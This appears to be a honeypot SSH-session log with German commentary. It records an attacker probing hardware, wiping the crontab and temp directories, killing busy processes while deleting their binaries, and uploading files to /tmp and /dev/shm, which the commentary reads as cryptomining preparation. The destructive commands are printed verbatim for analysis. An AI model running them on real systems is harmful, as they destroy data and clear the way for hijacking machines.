12.10.2026, 04:43 UTC · 103 Befehle · über ssh · Niederlande
user='us3' pass='UBUNTU' us3@srv01:~$ uname -s -v -n -r -m Linux 5.10.0-23-amd64 #1 SMP Debian 5.10.179-2 (2026-07-30) edge01 x86_64 us3@srv01:~$ uname -m | awk '{printf $1}' x86_64 us3@srv01:~$ uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }' up 6 days, 00:00:00 us3@srv01:~$ lspci | egrep VGA && lspci | grep 3D 0000:00:02.0 VGA compatible controller: Red Hat, Inc. Virtio GPU us3@srv01:~$ lscpu | egrep "Model name:" | cut -d ' ' -f 14- AMD EPYC 7302P 16-Core Processor us3@srv01:~$ nvidia-smi -q | grep "Product Name" bash: nvidia-smi: command not found us3@srv01:~$ lspci | egrep VGA | grep Radeon | wc -l | head -c 1 0 us3@srv01:~$ uname -n | awk '{printf $1}' edge01 us3@srv01:~$ uname -r | awk '{printf $1}' 5.10.0-23-amd64 us3@srv01:~$ crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; d… bash: cache: command not found us3@srv01:~$ echo UBUNTU > /tmp/d.log us3@srv01:~$ scp -qt "/var/tmp/swWkheHT" us3@srv01:~$ scp -qt "/tmp/swWkheHT" us3@srv01:~$ scp -qt "/dev/shm/swWkheHT" us3@srv01:~$ uname -s -v -n -r -m Linux 5.10.0-23-amd64 #1 SMP Debian 5.10.179-2 (2026-07-30) edge01 x86_64 us3@srv01:~$ curl ipinfo.io/org Cloudflare, Inc. us3@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1 bash: nvidia-smi: command not found us3@srv01:~$ echo 123123 > /tmp/d.log us3@srv01:~$ scp -qt "/var/tmp/spGxAIEz" us3@srv01:~$ scp -qt "/tmp/spGxAIEz" us3@srv01:~$ scp -qt "/dev/shm/spGxAIEz" us3@srv01:~$ uname -s -v -n -r -m Linux 5.10.0-23-amd64 #1 SMP Debian 5.10.179-2 (2026-07-30) edge01 x86_64 us3@srv01:~$ scp -qt "/var/tmp/IYnBaTlv" us3@srv01:~$ scp -qt "/tmp/IYnBaTlv" us3@srv01:~$ scp -qt "/dev/shm/IYnBaTlv" us3@srv01:~$ uname -s -v -n -r -m Linux 5.10.0-23-amd64 #1 SMP Debian 5.10.179-2 (2026-07-30) edge01 x86_64 us3@srv01:~$ echo zyang > /tmp/d.log us3@srv01:~$ scp -qt "/var/tmp/WjjWneIW" us3@srv01:~$ scp -qt "/tmp/WjjWneIW" us3@srv01:~$ scp -qt "/dev/shm/WjjWneIW" us3@srv01:~$ uname -s -v -n -r -m Linux 5.10.0-23-amd64 #1 SMP Debian 5.10.179-2 (2026-07-30) edge01 x86_64 us3@srv01:~$ echo ubuntu > /tmp/d.log us3@srv01:~$ scp -qt "/var/tmp/SXnqDIip" us3@srv01:~$ scp -qt "/tmp/SXnqDIip" us3@srv01:~$ scp -qt "/dev/shm/SXnqDIip" us3@srv01:~$ uname -s -v -n -r -m Linux 5.10.0-23-amd64 #1 SMP Debian 5.10.179-2 (2026-07-30) edge01 x86_64 us3@srv01:~$ echo adm1n > /tmp/d.log us3@srv01:~$ scp -qt "/var/tmp/tdycmdfs" us3@srv01:~$ scp -qt "/tmp/tdycmdfs"
Ein Angreifer meldete sich mit schwachen Zugangsdaten über SSH an. Er führte eine Reihe von Systemabfragen aus, um die Hardware, insbesondere Grafikkarten und Prozessoren, zu identifizieren. Anschließend löschte er temporäre Dateien und beendete Prozesse mit hoher CPU-Auslastung, bevor er mehrere Dateien über SCP in verschiedene Verzeichnisse kopierte.
Die Befehle uname, lscpu und lspci sammeln Informationen über das Betriebssystem, die CPU und die Grafikkarte. Der Aufruf von nvidia-smi prüft auf NVIDIA-GPUs, was für Mining relevant ist. Der komplexe Befehl mit crontab, rm und kill räumt alte Spuren auf und beendet ressourcenfressende Prozesse, um Rechenleistung freizumachen. Die scp-Befehle übertragen Daten in temporäre Ordner wie /tmp und /dev/shm, was typisch für die Installation von Schadsoftware ist.
Das Vorgehen deutet stark auf die Vorbereitung von Kryptomining hin, da die Hardware auf GPU-Fähigkeiten geprüft wurde. Das Löschen konkurrierender Prozesse und das Ablegen von Dateien in flüchtigen Speicherbereichen dient der Tarnung und Persistenz. Es bleibt offen, ob die kopierten Dateien Miner oder weitere Skripte waren.
Dieses Muster ist sehr verbreitet bei automatisierten Botnetzen, die nach Mining-Opportunitäten suchen. Die Kombination aus Hardware-Scan und Prozessbereinigung ist ein Standardverfahren für Kryptomining-Malware.